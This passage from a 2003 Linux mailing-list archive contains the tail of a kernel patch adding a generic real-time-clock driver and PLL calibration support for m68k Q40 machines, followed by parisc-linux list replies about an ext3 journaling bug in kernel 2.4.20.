 asmlinkage long long __ashldi3 (long long, int);
 asmlinkage long long __ashrdi3 (long long, int);
@@ -49,6 +50,10 @@
 EXPORT_SYMBOL(kernel_set_cachemode);
 #endif /* !CONFIG_SUN3 */
 EXPORT_SYMBOL(m68k_debug_device);
+EXPORT_SYMBOL(mach_hwclk);
+EXPORT_SYMBOL(mach_get_ss);
+EXPORT_SYMBOL(mach_get_rtc_pll);
+EXPORT_SYMBOL(mach_set_rtc_pll);
 EXPORT_SYMBOL(dump_fpu);
 EXPORT_SYMBOL(dump_thread);
 EXPORT_SYMBOL(strnlen);
--- linux-2.4.20/arch/m68k/kernel/setup.c	Fri Sep 13 10:15:01 2002
+++ linux-genrtc-2.4.20/arch/m68k/kernel/setup.c	Fri Jan 10 20:54:25 2003
@@ -90,6 +90,9 @@
 void (*mach_gettod) (int*, int*, int*, int*, int*, int*);
 int (*mach_hwclk) (int, struct rtc_time*) = NULL;
 int (*mach_set_clock_mmss) (unsigned long) = NULL;
+unsigned int (*mach_get_ss)(void) = NULL;
+int (*mach_get_rtc_pll)(struct rtc_pll_info *) = NULL;
+int (*mach_set_rtc_pll)(struct rtc_pll_info *) = NULL;
 void (*mach_reset)( void );
 void (*mach_halt)( void ) = NULL;
 void (*mach_power_off)( void ) = NULL;
--- linux-2.4.20/arch/m68k/q40/config.c	Fri Sep 13 10:15:02 2002
+++ linux-genrtc-2.4.20/arch/m68k/q40/config.c	Fri Jan 10 20:54:25 2003
@@ -58,7 +58,10 @@
 extern void q40_gettod (int *year, int *mon, int *day, int *hour,
                            int *min, int *sec);
 extern int q40_hwclk (int, struct rtc_time *);
+extern unsigned int q40_get_ss (void);
 extern int q40_set_clock_mmss (unsigned long);
+static int q40_get_rtc_pll(struct rtc_pll_info *pll);
+static int q40_set_rtc_pll(struct rtc_pll_info *pll);
 extern void q40_reset (void);
 void q40_halt(void);
 extern void q40_waitbut(void);
@@ -196,6 +199,9 @@
     mach_gettimeoffset   = q40_gettimeoffset; 
     mach_gettod  	 = q40_gettod;
     mach_hwclk           = q40_hwclk; 
+    mach_get_ss          = q40_get_ss; 
+    mach_get_rtc_pll     = q40_get_rtc_pll; 
+    mach_set_rtc_pll     = q40_set_rtc_pll; 
     mach_set_clock_mmss	 = q40_set_clock_mmss;
 
     mach_reset		 = q40_reset;
@@ -331,6 +337,11 @@
 	return 0;
 }
 
+unsigned int q40_get_ss()
+{
+	return bcd2bin(Q40_RTC_SECS);
+}
+
 /*
  * Set the minutes and seconds from seconds value 'nowtime'.  Fail if
  * clock is out by > 30 minutes.  Logic lifted from atari code.
@@ -362,3 +373,33 @@
 	return retval;
 }
 
+
+/* get and set PLL calibration of RTC clock */
+#define Q40_RTC_PLL_MASK ((1<<5)-1)
+#define Q40_RTC_PLL_SIGN (1<<5)
+
+static int q40_get_rtc_pll(struct rtc_pll_info *pll)
+{
+      int tmp=Q40_RTC_CTRL;
+      pll->pll_value = tmp & Q40_RTC_PLL_MASK;
+      if (tmp & Q40_RTC_PLL_SIGN) 
+	  pll->pll_value = -pll->pll_value;
+      pll->pll_max=31;
+      pll->pll_min=-31;
+      pll->pll_posmult=512;
+      pll->pll_negmult=256;
+      pll->pll_clock=125829120;
+      return 0;
+  }
+
+static int q40_set_rtc_pll(struct rtc_pll_info *pll)
+{
+  if (!pll->pll_ctrl){
+      /* the docs are a bit unclear so I am doublesetting RTC_WRITE here ... */
+      int tmp=(pll->pll_value & 31) | (pll->pll_value<0 ? 32 : 0) | Q40_RTC_WRITE;
+      Q40_RTC_CTRL |= Q40_RTC_WRITE;
+      Q40_RTC_CTRL = tmp;
+      Q40_RTC_CTRL &= ~(Q40_RTC_WRITE);
+      return 0;
+  } else return -EINVAL;
+}
--- linux-2.4.20/drivers/char/Makefile	Wed Nov 27 11:02:06 2002
+++ linux-genrtc-2.4.20/drivers/char/Makefile	Fri Jan 10 20:54:25 2003
@@ -222,6 +222,7 @@
 obj-$(CONFIG_PC110_PAD) += pc110pad.o
 obj-$(CONFIG_MK712_MOUSE) += mk712.o
 obj-$(CONFIG_RTC) += rtc.o
+obj-$(CONFIG_GEN_RTC) += genrtc.o
 obj-$(CONFIG_EFI_RTC) += efirtc.o
 ifeq ($(CONFIG_PPC),)
   obj-$(CONFIG_NVRAM) += nvram.o
--- linux-2.4.20/drivers/char/genrtc.c	Thu Jan  1 01:00:00 1970
+++ linux-genrtc-2.4.20/drivers/char/genrtc.c	Fri Jan 10 20:54:52 2003
@@ -0,0 +1,533 @@
+/*
+ *	Real Time Clock interface for q40 and other m68k machines
+ *      emulate some RTC irq capabilities in software
+ *
+ *      Copyright (C) 1999 Richard Zidlicky
+ *
+ *	based on Paul Gortmaker's rtc.c device and
+ *           Sam Creasey Generic rtc driver
+ *
+ *	This driver allows use of the real time clock (built into
+ *	nearly all computers) from user space. It exports the /dev/rtc
+ *	interface supporting various ioctl() and also the /proc/dev/rtc
+ *	pseudo-file for status information.
+ *
+ *	The ioctls can be used to set the interrupt behaviour where
+ *  supported.
+ *
+ *	The /dev/rtc interface will block on reads until an interrupt
+ *	has been received. If a RTC interrupt has already happened,
+ *	it will output an unsigned long and then block. The output value
+ *	contains the interrupt status in the low byte and the number of
+ *	interrupts since the last read in the remaining high bytes. The
+ *	/dev/rtc interface can also be used with the select(2) call.
+ *
+ *	This program is free software; you can redistribute it and/or
+ *	modify it under the terms of the GNU General Public License
+ *	as published by the Free Software Foundation; either version
+ *	2 of the License, or (at your option) any later version.
+ *
+
+ *      1.01 fix for 2.3.X                    rz@linux-m68k.org
+ *      1.02 merged with code from genrtc.c   rz@linux-m68k.org
+ *      1.03 make it more portable            zippel@linux-m68k.org
+ *      1.04 removed useless timer code       rz@linux-m68k.org
+ *      1.05 portable RTC_UIE emulation       rz@linux-m68k.org
+ *      1.06 set_rtc_time can return an error trini@kernel.crashing.org
+ */
+
+#define RTC_VERSION	"1.06"
+
+#include <linux/module.h>
+#include <linux/config.h>
+#include <linux/errno.h>
+#include <linux/miscdevice.h>
+#include <linux/fcntl.h>
+
+#include <linux/rtc.h>
+#include <linux/init.h>
+#include <linux/poll.h>
+#include <linux/proc_fs.h>
+
+#include <asm/uaccess.h>
+#include <asm/system.h>
+#include <asm/rtc.h>
+
+/*
+ *	We sponge a minor off of the misc major. No need slurping
+ *	up another valuable major dev number for this. If you add
+ *	an ioctl, make sure you don't conflict with SPARC's RTC
+ *	ioctls.
+ */
+
+static DECLARE_WAIT_QUEUE_HEAD(gen_rtc_wait);
+
+static int gen_rtc_ioctl(struct inode *inode, struct file *file,
+		     unsigned int cmd, unsigned long arg);
+
+/*
+ *	Bits in gen_rtc_status.
+ */
+
+#define RTC_IS_OPEN		0x01	/* means /dev/rtc is in use	*/
+
+unsigned char gen_rtc_status;		/* bitmapped status byte.	*/
+unsigned long gen_rtc_irq_data;		/* our output to the world	*/
+
+/* months start at 0 now */
+unsigned char days_in_mo[] =
+{31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
+
+static int irq_active;
+
+#ifdef CONFIG_GEN_RTC_X
+struct tq_struct genrtc_task;
+static struct timer_list timer_task;
+
+static unsigned int oldsecs;
+static int lostint;
+static int tt_exp;
+
+void gen_rtc_timer(unsigned long data);
+
+static volatile int stask_active;              /* schedule_task */
+static volatile int ttask_active;              /* timer_task */
+static int stop_rtc_timers;                    /* don't requeue tasks */
+static spinlock_t gen_rtc_lock = SPIN_LOCK_UNLOCKED;
+
+/*
+ * Routine to poll RTC seconds field for change as often as posible,
+ * after first RTC_UIE use timer to reduce polling
+ */
+void genrtc_troutine(void *data)
+{
+	unsigned int tmp = get_rtc_ss();
+	
+	if (stop_rtc_timers) {
+		stask_active = 0;
+		return;
+	}
+
+	if (oldsecs != tmp){
+		oldsecs = tmp;
+
+		timer_task.function = gen_rtc_timer;
+		timer_task.expires = jiffies + HZ - (HZ/10);
+		tt_exp=timer_task.expires;
+		ttask_active=1;
+		stask_active=0;
+		add_timer(&timer_task);
+
+		gen_rtc_interrupt(0);
+	} else if (schedule_task(&genrtc_task) == 0)
+		stask_active = 0;
+}
+
+void gen_rtc_timer(unsigned long data)
+{
+	lostint = get_rtc_ss() - oldsecs ;
+	if (lostint<0) 
+		lostint = 60 - lostint;
+	if (time_after(jiffies, tt_exp))
+		printk(KERN_INFO "genrtc: timer task delayed by %ld jiffies\n",
+		       jiffies-tt_exp);
+	ttask_active=0;
+	stask_active=1;
+	if ((schedule_task(&genrtc_task) == 0))
+		stask_active = 0;
+}
+
+/* 
+ * call gen_rtc_interrupt function to signal an RTC_UIE,
+ * arg is unused.
+ * Could be invoked either from a real interrupt handler or
+ * from some routine that periodically (eg 100HZ) monitors
+ * whether RTC_SECS changed
+ */
+void gen_rtc_interrupt(unsigned long arg)
+{
+	/*  We store the status in the low byte and the number of
+	 *	interrupts received since the last read in the remainder
+	 *	of rtc_irq_data.  */
+
+	gen_rtc_irq_data += 0x100;
+	gen_rtc_irq_data &= ~0xff;
+	gen_rtc_irq_data |= RTC_UIE;
+
+	if (lostint){
+		printk("genrtc: system delaying clock ticks?\n");
+		/* increment count so that userspace knows something is wrong */
+		gen_rtc_irq_data += ((lostint-1)<<8);
+		lostint = 0;
+	}
+
+	wake_up_interruptible(&gen_rtc_wait);
+}
+
+/*
+ *	Now all the various file operations that we export.
+ */
+static ssize_t gen_rtc_read(struct file *file, char *buf,
+			size_t count, loff_t *ppos)
+{
+	DECLARE_WAITQUEUE(wait, current);
+	unsigned long data;
+	ssize_t retval;
+
+	if (count != sizeof (unsigned int) && count != sizeof (unsigned long))
+		return -EINVAL;
+
+	if (file->f_flags & O_NONBLOCK && !gen_rtc_irq_data)
+		return -EAGAIN;
+
+	add_wait_queue(&gen_rtc_wait, &wait);
+	retval = -ERESTARTSYS;
+
+	while (1) {
+		set_current_state(TASK_INTERRUPTIBLE);
+		data = xchg(&gen_rtc_irq_data, 0);
+		if (data)
+			break;
+		if (signal_pending(current))
+			goto out;
+		schedule();
+	}
+
+	/* first test allows optimizer to nuke this case for 32-bit machines */
+	if (sizeof (int) != sizeof (long) && count == sizeof (unsigned int)) {
+		unsigned int uidata = data;
+		retval = put_user(uidata, (unsigned long *)buf);
+	}
+	else {
+		retval = put_user(data, (unsigned long *)buf);
+	}
+	if (!retval)
+		retval = sizeof(unsigned long);
+ out:
+	current->state = TASK_RUNNING;
+	remove_wait_queue(&gen_rtc_wait, &wait);
+
+	return retval;
+}
+
+static unsigned int gen_rtc_poll(struct file *file,
+				 struct poll_table_struct *wait)
+{
+	poll_wait(file, &gen_rtc_wait, wait);
+	if (gen_rtc_irq_data != 0)
+		return POLLIN | POLLRDNORM;
+	return 0;
+}
+
+#endif
+
+/*
+ * Used to disable/enable interrupts, only RTC_UIE supported
+ * We also clear out any old irq data after an ioctl() that
+ * meddles with the interrupt enable/disable bits.
+ */
+
+static inline void gen_clear_rtc_irq_bit(unsigned char bit)
+{
+#ifdef CONFIG_GEN_RTC_X
+	stop_rtc_timers = 1;
+	if (ttask_active){
+		del_timer_sync(&timer_task);
+		ttask_active = 0;
+	}
+	while (stask_active)
+		schedule();
+
+	spin_lock(&gen_rtc_lock);
+	irq_active = 0;
+	spin_unlock(&gen_rtc_lock);
+#endif
+}
+
+static inline int gen_set_rtc_irq_bit(unsigned char bit)
+{
+#ifdef CONFIG_GEN_RTC_X
+	spin_lock(&gen_rtc_lock);
+	if ( !irq_active ) {
+		irq_active = 1;
+		stop_rtc_timers = 0;
+		lostint = 0;
+		genrtc_task.routine = genrtc_troutine;
+		oldsecs = get_rtc_ss();
+		init_timer(&timer_task);
+
+		stask_active = 1;
+		if (schedule_task(&genrtc_task) == 0){
+			stask_active = 0;
+		}
+	}
+	spin_unlock(&gen_rtc_lock);
+	gen_rtc_irq_data = 0;
+	return 0;
+#else
+	return -EINVAL;
+#endif
+}
+
+static int gen_rtc_ioctl(struct inode *inode, struct file *file,
+			 unsigned int cmd, unsigned long arg)
+{
+	struct rtc_time wtime;
+	struct rtc_pll_info pll;
+
+	switch (cmd) {
+
+	case RTC_PLL_GET:
+	    if (get_rtc_pll(&pll))
+	 	    return -EINVAL;
+	    else
+		    return copy_to_user((void *)arg, &pll, sizeof pll) ? -EFAULT : 0;
+
+	case RTC_PLL_SET:
+		if (!capable(CAP_SYS_TIME))
+			return -EACCES;
+		if (copy_from_user(&pll, (struct rtc_pll_info*)arg,
+				   sizeof(pll)))
+			return -EFAULT;
+	    return set_rtc_pll(&pll);
+
+	case RTC_UIE_OFF:	/* disable ints from RTC updates.	*/
+		gen_clear_rtc_irq_bit(RTC_UIE);
+		return 0;
+
+	case RTC_UIE_ON:	/* enable ints for RTC updates.	*/
+	        return gen_set_rtc_irq_bit(RTC_UIE);
+
+	case RTC_RD_TIME:	/* Read the time/date from RTC	*/
+		/* this doesn't get week-day, who cares */
+		memset(&wtime, 0, sizeof(wtime));
+		get_rtc_time(&wtime);
+
+		return copy_to_user((void *)arg, &wtime, sizeof(wtime)) ? -EFAULT : 0;
+
+	case RTC_SET_TIME:	/* Set the RTC */
+	    {
+		int year;
+		unsigned char leap_yr;
+
+		if (!capable(CAP_SYS_TIME))
+			return -EACCES;
+
+		if (copy_from_user(&wtime, (struct rtc_time *)arg,
+				   sizeof(wtime)))
+			return -EFAULT;
+
+		year = wtime.tm_year + 1900;
+		leap_yr = ((!(year % 4) && (year % 100)) ||
+			   !(year % 400));
+
+		if ((wtime.tm_mon < 0 || wtime.tm_mon > 11) || (wtime.tm_mday < 1))
+			return -EINVAL;
+
+		if (wtime.tm_mday < 0 || wtime.tm_mday >
+		    (days_in_mo[wtime.tm_mon] + ((wtime.tm_mon == 1) && leap_yr)))
+			return -EINVAL;
+
+		if (wtime.tm_hour < 0 || wtime.tm_hour >= 24 ||
+		    wtime.tm_min < 0 || wtime.tm_min >= 60 ||
+		    wtime.tm_sec < 0 || wtime.tm_sec >= 60)
+			return -EINVAL;
+
+		return set_rtc_time(&wtime);
+	    }
+	}
+
+	return -EINVAL;
+}
+
+/*
+ *	We enforce only one user at a time here with the open/close.
+ *	Also clear the previous interrupt data on an open, and clean
+ *	up things on a close.
+ */
+
+static int gen_rtc_open(struct inode *inode, struct file *file)
+{
+	if (gen_rtc_status & RTC_IS_OPEN)
+		return -EBUSY;
+
+	MOD_INC_USE_COUNT;
+
+	gen_rtc_status |= RTC_IS_OPEN;
+	gen_rtc_irq_data = 0;
+	irq_active = 0;
+
+	return 0;
+}
+
+static int gen_rtc_release(struct inode *inode, struct file *file)
+{
+	/*
+	 * Turn off all interrupts once the device is no longer
+	 * in use and clear the data.
+	 */
+
+	gen_clear_rtc_irq_bit(RTC_PIE|RTC_AIE|RTC_UIE);
+
+	gen_rtc_status &= ~RTC_IS_OPEN;
+	MOD_DEC_USE_COUNT;
+
+	return 0;
+}
+
+static int gen_rtc_read_proc(char *page, char **start, off_t off,
+			     int count, int *eof, void *data);
+
+
+/*
+ *	The various file operations we support.
+ */
+
+static struct file_operations gen_rtc_fops = {
+	owner:		THIS_MODULE,
+#ifdef CONFIG_GEN_RTC_X
+	read:		gen_rtc_read,
+	poll:		gen_rtc_poll,
+#endif
+	ioctl:		gen_rtc_ioctl,
+	open:		gen_rtc_open,
+	release:	gen_rtc_release
+};
+
+static struct miscdevice rtc_gen_dev =
+{
+	RTC_MINOR,
+	"rtc",
+	&gen_rtc_fops
+};
+
+int __init rtc_generic_init(void)
+{
+	int retval;
+
+	printk(KERN_INFO "Generic RTC Driver v%s\n", RTC_VERSION);
+
+	retval = misc_register(&rtc_gen_dev);
+	if(retval < 0)
+		return retval;
+
+#ifdef CONFIG_PROC_FS
+	if((create_proc_read_entry ("driver/rtc", 0, 0, gen_rtc_read_proc, NULL)) == NULL){
+		misc_deregister(&rtc_gen_dev);
+		return -ENOMEM;
+	}
+#endif
+
+	return 0;
+}
+
+static void __exit rtc_generic_exit(void)
+{
+	remove_proc_entry ("driver/rtc", NULL);
+	misc_deregister(&rtc_gen_dev);
+}
+
+module_init(rtc_generic_init);
+module_exit(rtc_generic_exit);
+EXPORT_NO_SYMBOLS;
+
+
+/*
+ *	Info exported via "/proc/rtc".
+ */
+
+int gen_rtc_proc_output(char *buf)
+{
+	char *p;
+	struct rtc_time tm;
+	unsigned tmp;
+	struct rtc_pll_info pll;
+
+	p = buf;
+
+	get_rtc_time(&tm);
+
+	p += sprintf(p,
+		     "rtc_time\t: %02d:%02d:%02d\n"
+		     "rtc_date\t: %04d-%02d-%02d\n"
+		     "rtc_epoch\t: %04u\n",
+		     tm.tm_hour, tm.tm_min, tm.tm_sec,
+		     tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, 1900);
+
+	tm.tm_hour=0;tm.tm_min=0;tm.tm_sec=0;
+
+	p += sprintf(p, "alarm\t\t: ");
+	if (tm.tm_hour <= 24)
+		p += sprintf(p, "%02d:", tm.tm_hour);
+	else
+		p += sprintf(p, "**:");
+
+	if (tm.tm_min <= 59)
+		p += sprintf(p, "%02d:", tm.tm_min);
+	else
+		p += sprintf(p, "**:");
+
+	if (tm.tm_sec <= 59)
+		p += sprintf(p, "%02d\n", tm.tm_sec);
+	else
+		p += sprintf(p, "**\n");
+
+	tmp= RTC_24H ;
+	p += sprintf(p,
+		     "DST_enable\t: %s\n"
+		     "BCD\t\t: %s\n"
+		     "24hr\t\t: %s\n"
+		     "square_wave\t: %s\n"
+		     "alarm_IRQ\t: %s\n"
+		     "update_IRQ\t: %s\n"
+		     "periodic_IRQ\t: %s\n"
+		     "periodic_freq\t: %ld\n"
+		     "batt_status\t: %s\n",
+		     (tmp & RTC_DST_EN) ? "yes" : "no",
+		     (tmp & RTC_DM_BINARY) ? "no" : "yes",
+		     (tmp & RTC_24H) ? "yes" : "no",
+		     (tmp & RTC_SQWE) ? "yes" : "no",
+		     (tmp & RTC_AIE) ? "yes" : "no",
+		     irq_active ? "yes" : "no",
+		     (tmp & RTC_PIE) ? "yes" : "no",
+		     0L /* freq */,
+		     "okay" );
+	if (!get_rtc_pll(&pll))
+	    p += sprintf(p,
+			 "PLL adjustment\t: %d\n"
+			 "PLL max +ve adjustment\t: %d\n"
+			 "PLL max -ve adjustment\t: %d\n"
+			 "PLL +ve adjustment factor\t: %d\n"
+			 "PLL -ve adjustment factor\t: %d\n"
+			 "PLL frequency\t: %ld\n",
+			 pll.pll_value,
+			 pll.pll_max,
+			 pll.pll_min,
+			 pll.pll_posmult,
+			 pll.pll_negmult,
+			 pll.pll_clock);
+	return  p - buf;
+}
+
+static int gen_rtc_read_proc(char *page, char **start, off_t off,
+			     int count, int *eof, void *data)
+{
+	int len = gen_rtc_proc_output (page);
+        if (len <= off+count) *eof = 1;
+	*start = page + off;
+	len -= off;
+        if (len>count) len = count;
+        if (len<0) len = 0;
+	return len;
+}
+
+
+MODULE_AUTHOR("Richard Zidlicky");
+MODULE_LICENSE("GPL");
+
+/*
+ * Local variables:
+ * compile-command: "m68k-linux-gcc -D__KERNEL__ -I../../include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -pipe -fno-strength-reduce -ffixed-a2 -c -o genrtc.o genrtc.c"
+ * End:
+ */
+
--- linux-2.4.20/include/asm-m68k/machdep.h	Wed May 29 10:14:12 2002
+++ linux-genrtc-2.4.20/include/asm-m68k/machdep.h	Fri Jan 10 20:54:25 2003
@@ -5,6 +5,7 @@
 struct kbd_repeat;
 struct mktime;
 struct rtc_time;
+struct rtc_pll_info;
 struct gendisk;
 struct buffer_head;
 
@@ -29,6 +30,9 @@
 extern void (*mach_gettod)(int *year, int *mon, int *day, int *hour,
 			   int *min, int *sec);
 extern int (*mach_hwclk)(int, struct rtc_time*);
+extern unsigned int (*mach_get_ss)(void);
+extern int (*mach_get_rtc_pll)(struct rtc_pll_info *);
+extern int (*mach_set_rtc_pll)(struct rtc_pll_info *);
 extern int (*mach_set_clock_mmss)(unsigned long);
 extern void (*mach_reset)( void );
 extern void (*mach_halt)( void );
--- linux-2.4.20/include/asm-m68k/rtc.h	Wed May 29 10:14:13 2002
+++ linux-genrtc-2.4.20/include/asm-m68k/rtc.h	Fri Jan 10 20:54:25 2003
@@ -13,9 +13,8 @@
 
 #ifdef __KERNEL__
 
-#include <linux/config.h>
 #include <linux/rtc.h>
-#include <linux/delay.h>
+#include <asm/errno.h>
 #include <asm/machdep.h>
 
 #define RTC_PIE 0x40		/* periodic interrupt enable */
@@ -30,7 +29,48 @@
 #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
 #define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
 
+static inline void get_rtc_time(struct rtc_time *time)
+{
+	/*
+	 * Only the values that we read from the RTC are set. We leave
+	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
+	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
+	 * by the RTC when initially set to a non-zero value.
+	 */
+	mach_hwclk(0, time);
+}
 
+static inline int set_rtc_time(struct rtc_time *time)
+{
+	return mach_hwclk(1, time);
+}
+
+static inline unsigned int get_rtc_ss(void)
+{
+	if (mach_get_ss)
+		return mach_get_ss();
+	else{
+		struct rtc_time h;
+		
+		get_rtc_time(&h);
+		return h.tm_sec;
+	}
+}
+
+static inline int get_rtc_pll(struct rtc_pll_info *pll)
+{
+	if (mach_get_rtc_pll)
+		return mach_get_rtc_pll(pll);
+	else
+		return -EINVAL;
+}
+static inline int set_rtc_pll(struct rtc_pll_info *pll)
+{
+	if (mach_set_rtc_pll)
+		return mach_set_rtc_pll(pll);
+	else
+		return -EINVAL;
+}
 #endif /* __KERNEL__ */
 
 #endif /* _ASM__RTC_H */
--- linux-2.4.20/include/linux/rtc.h	Mon Feb 19 09:47:19 2001
+++ linux-genrtc-2.4.20/include/linux/rtc.h	Fri Jan 10 20:54:25 2003
@@ -39,10 +39,32 @@
 	struct rtc_time time;	/* time the alarm is set to */
 };
 
+/*
+ * Data structure to control PLL correction some better RTC feature
+ * pll_value is used to get or set current value of correction,
+ * the rest of the struct is used to query HW capabilities.
+ * This is modeled after the RTC used in Q40/Q60 computers but
+ * should be sufficiently flexible for other devices
+ *
+ * +ve pll_value means clock will run faster by
+ *   pll_value*pll_posmult/pll_clock
+ * -ve pll_value means clock will run slower by
+ *   pll_value*pll_negmult/pll_clock
+ */ 
+
+struct rtc_pll_info {
+	int pll_ctrl;       /* placeholder for fancier control */
+	int pll_value;      /* get/set correction value */
+	int pll_max;        /* max +ve (faster) adjustment value */
+	int pll_min;        /* max -ve (slower) adjustment value */
+	int pll_posmult;    /* factor for +ve corection */
+	int pll_negmult;    /* factor for -ve corection */
+	long pll_clock;     /* base PLL frequency */
+};
 
 /*
- * ioctl calls that are permitted to the /dev/rtc interface, if 
- * CONFIG_RTC/CONFIG_EFI_RTC was enabled.
+ * ioctl calls that are permitted to the /dev/rtc interface, if
+ * any of the RTC drivers are enabled.
  */
 
 #define RTC_AIE_ON	_IO('p', 0x01)	/* Alarm int. enable on		*/
@@ -66,4 +88,6 @@
 #define RTC_WKALM_SET	_IOW('p', 0x0f, struct rtc_wkalrm)/* Set wakeup alarm*/
 #define RTC_WKALM_RD	_IOR('p', 0x10, struct rtc_wkalrm)/* Get wakeup alarm*/
 
+#define RTC_PLL_GET	_IOR('p', 0x11, struct rtc_pll_info)  /* Get PLL correction */
+#define RTC_PLL_SET	_IOW('p', 0x12, struct rtc_pll_info)  /* Set PLL correction */
 #endif /* _LINUX_RTC_H_ */

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 23:13:13 +0100
Organization: ESIEE
Lines: 29
Approved: news@gmane.org
Message-ID: <20030110231313.1215dc79.varenet@esiee.fr>
References: <20030110170813.X26554@parcelfarce.linux.theplanet.co.uk>
	<3E1AA8D500000AF7@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622096 19718 80.91.229.3 (22 Nov 2014 02:08:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 13:13:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90E154829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 13:13:15 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id h0AKDDiL000938
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 21:13:14 +0100
In-Reply-To: <3E1AA8D500000AF7@ocpmta8.freegates.net>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17335

On Fri, 10 Jan 2003 19:47:52 +0100
jsoe0708@tiscali.be wrote:

> 
> >-- Original Message --
> >Date: Fri, 10 Jan 2003 17:08:13 +0000
> >From: Matthew Wilcox <willy@debian.org>
> >To: jsoe0708@tiscali.be
> >Cc: Randolph Chung <randolph@tausq.org>,
> >	parisc-linux@lists.parisc-linux.org
> >Subject: Re: [parisc-linux] unaligned accesses
> >
> >
> >On Fri, Jan 10, 2003 at 11:51:41AM +0100, jsoe0708@tiscali.be wrote:
> >> PS:  with ext3 (which I use) problem I hesitate to install 2.4.20 and
> waiting
> >> for 2.4.21 and evms, jfs, xfs support for this system)
> >
> >um, you use the data=ordered mount option (or whatever it was)?
it was data=journal
see http://developers.slashdot.org/developers/02/12/02/0128206.shtml?tid=106

FWIW, the default option (used by most people) is data=journal, and is not affected by that bug. We've been using 2.4.20 with ext3 for weeks pretty safely here.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 23:25:10 +0100
Organization: ESIEE
Lines: 15
Approved: news@gmane.org
Message-ID: <20030110232510.25aef7c2.varenet@esiee.fr>
References: <20030110170813.X26554@parcelfarce.linux.theplanet.co.uk>
	<3E1AA8D500000AF7@ocpmta8.freegates.net>
	<20030110231313.1215dc79.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622096 19725 80.91.229.3 (22 Nov 2014 02:08:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 13:25:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2DF14829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 13:25:12 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id h0AKPAiL001249
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 21:25:11 +0100
In-Reply-To: <20030110231313.1215dc79.varenet@esiee.fr>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
